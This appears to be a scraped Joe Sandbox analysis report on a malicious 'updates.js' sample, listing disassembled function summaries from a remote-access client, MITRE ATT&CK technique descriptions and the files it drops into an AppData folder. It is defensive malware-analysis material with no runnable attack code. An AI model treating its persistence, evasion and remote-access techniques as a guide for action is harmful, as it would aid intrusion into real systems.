Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FindMessageSendWindow
String ID: MSOfficeWClass
API String ID: 1741975844-970895155
Opcode ID: 677dd944a9b37f0d248d1dc2443b6c9e227fd66e90a00cd9b08d5884c152e529
Instruction ID: 2732a125022ff7c0da3ed2a920369edb2684b905192db69b753ec1fccd0d92f1
Opcode Fuzzy Hash: 677dd944a9b37f0d248d1dc2443b6c9e227fd66e90a00cd9b08d5884c152e529
Instruction Fuzzy Hash: FAD0127078430C77E6141AE1DE4EF96FB6C9744B65F004028F7159E4C5EAB4B44087BC

Function 1115F310 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,000000A8,110AC717), ref: 1115F338

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\ctl32\wndclass.cpp, xrefs: 1115F31E
m_hWnd, xrefs: 1115F323

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DestroyErrorExitLastMessageProcessWindowwsprintf
String ID: ..\ctl32\wndclass.cpp$m_hWnd
API String ID: 1417657345-2201682149
Opcode ID: 040279418c787453246ac35a00e20d52c99efbdfef44f19d6389bd7086f83bc2
Instruction ID: 7db3f745f54082ef040700b2ebbb9d394f22af4f20fbf84319d784bae123f924
Opcode Fuzzy Hash: 040279418c787453246ac35a00e20d52c99efbdfef44f19d6389bd7086f83bc2
Instruction Fuzzy Hash: 9CD0A770A503359BD7608A56EC86BC6F2D4AB1221CF044479E0A362551E270F584C681

Function 110161B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

ImageList_GetImageCount.COMCTL32 ref: 110161CF

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

m_hImageList, xrefs: 110161BF
e:\nsmsrc\nsm\1210\1210f\ctl32\imagelst.h, xrefs: 110161BA

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Image$CountErrorExitLastList_MessageProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\imagelst.h$m_hImageList
API String ID: 3979668856-4007669474
Opcode ID: 7e0d59d6d3c0ea1f021620d87c473adee649be5d7cc0ac9c58f617f8560ff774
Instruction ID: da6b7ee7688318b2dcaecae8c32772a12d0a8ac3ffe856306cb0240b92e991ba
Opcode Fuzzy Hash: 7e0d59d6d3c0ea1f021620d87c473adee649be5d7cc0ac9c58f617f8560ff774
Instruction Fuzzy Hash: 99D02230E40136ABC3209A94BC02BC9B3886F05208F0C0465F06256040E6B468808A84

Function 111100D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,1102CB9F), ref: 111100F4

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\ctl32\Refcount.cpp, xrefs: 111100DE
this->hReadyEvent, xrefs: 111100E3

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorEventExitLastMessageProcesswsprintf
String ID: ..\ctl32\Refcount.cpp$this->hReadyEvent
API String ID: 2400454052-4183089485
Opcode ID: 4b22ea46bdd503ae8f9c5b08486a64ba336daf28115d2eb9ea5a5faf497afeb0
Instruction ID: 41d86d8e6b2fa9399a940e20fae9938a479a885d6893b5e9ee770bdda361f714
Opcode Fuzzy Hash: 4b22ea46bdd503ae8f9c5b08486a64ba336daf28115d2eb9ea5a5faf497afeb0
Instruction Fuzzy Hash: D4D01231E80736AFD7209AE5AC05BD6F3B85B04315F044539F012A6584DAB0A4458BE5

Function 1101D390 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 1101D3B4

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1101D39E
m_hWnd, xrefs: 1101D3A3

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMenuMessageProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1590435379-2830328467
Opcode ID: 1024b712624d312cdb50eec61baa504417252f83fa22596b784198089b8c0041
Instruction ID: 75955eb5d3bdaa86fb34179760e08c08bc775c18ff6c0b8e66661a9f5e9df206
Opcode Fuzzy Hash: 1024b712624d312cdb50eec61baa504417252f83fa22596b784198089b8c0041
Instruction Fuzzy Hash: 18D022B1D00235ABC700D662EC4ABC9F2C49B09318F004076F03666004E2B4E4808384

Function 11154210 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

GetWindowTextLengthA.USER32(00000000), ref: 11154234

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1115421E
m_hWnd, xrefs: 11154223

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastLengthMessageProcessTextWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 67735064-2830328467
Opcode ID: 1d54aad98bb84251d308c7fdba18d94c17ec73c60877c839a460b4fca593964e
Instruction ID: 19f6c6fa1a7f22991327a281ba6cc225d63cdd76b5fbcf1c4c4c0146bd397b80
Opcode Fuzzy Hash: 1d54aad98bb84251d308c7fdba18d94c17ec73c60877c839a460b4fca593964e
Instruction Fuzzy Hash: DBD022B1A50236ABCB908691FC86BC5F3949B0A308F000436F03262404E2B4A4808391

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report updates.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Remote Access Functionality

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loca[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3dfxu2od.ja4.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_olj24nsh.di3.ps1

C:\Users\user\AppData\Roaming\GRDCWLLI20\HTCTL32.DLL

C:\Users\user\AppData\Roaming\GRDCWLLI20\NSM.LIC

C:\Users\user\AppData\Roaming\GRDCWLLI20\NSM.ini

C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICHEK.DLL

C:\Users\user\AppData\Roaming\GRDCWLLI20\PCICL32.DLL

Windows Analysis Report
updates.js

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
